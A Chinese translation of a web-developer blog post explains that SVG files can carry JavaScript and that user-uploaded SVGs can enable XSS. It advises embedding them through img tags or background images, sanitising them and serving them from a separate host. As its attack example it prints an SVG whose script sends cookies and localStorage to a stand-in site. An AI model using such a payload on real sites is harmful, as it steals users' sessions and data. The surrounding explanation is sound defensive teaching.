SVG是用于创建自定义字体，动画，尺寸减小的图形等的出色工具。 它们既是HTML，又是图像，而且都很棒。 由于SVG提供的灵活性，许多网站已转向SVG，而不是JPG，GIF和PNG。
这种灵活性的一个例子是什么？ 您是否知道可以将JavaScript直接嵌入到SVG文件中：
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100"> <path d="M90,18c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#CCC" stroke="#DDD" stroke-width="2" stroke-linejoin="round"/> <path d="M87,15c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#00F"/> <script> alert("Hello world"); </script> </svg>这是一个很酷的功能，但是如果按原样嵌入到页面中，也是一个安全问题。 例如，如果用户使用以下代码将SVG上传到您的网站：
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100"> <path d="M90,18c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#CCC" stroke="#DDD" stroke-width="2" stroke-linejoin="round"/> <path d="M87,15c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#00F"/> <script> // BAD! Send the user's info to your website! const info = JSON.stringify(document.cookie) + JSON.stringify(localStorage); document.location = "https://mybadsite.tld/stolenInfo=" + info; </script> </svg>...他们可以通过XSS窃取Cookie，存储空间和其他信息。 那是个问题。 防止这种情况的一种方法是将JavaScript剥离到SVG中，但是您也可以通过CSS嵌入<img>或作为background-image ：
<img src="/path/to/image.svg" />当您使用<img>或background-image ，将阻止执行JavaScript，从而使SVG相对安全！ 但是，您仍然应该清除SVG中的不良内容，并从其他主机名提供它们，以免共享cookie！
.x-secondary-small { display: none; } @media only screen and (max-width: 600px) { .x-secondary { max-height: none; } .x-secondary-large { display: none; } .x-secondary-small { display: block; } }翻译自: https://davidwalsh.name/javascript-in-svgs
相关资源：SVG中のJavaScript.xls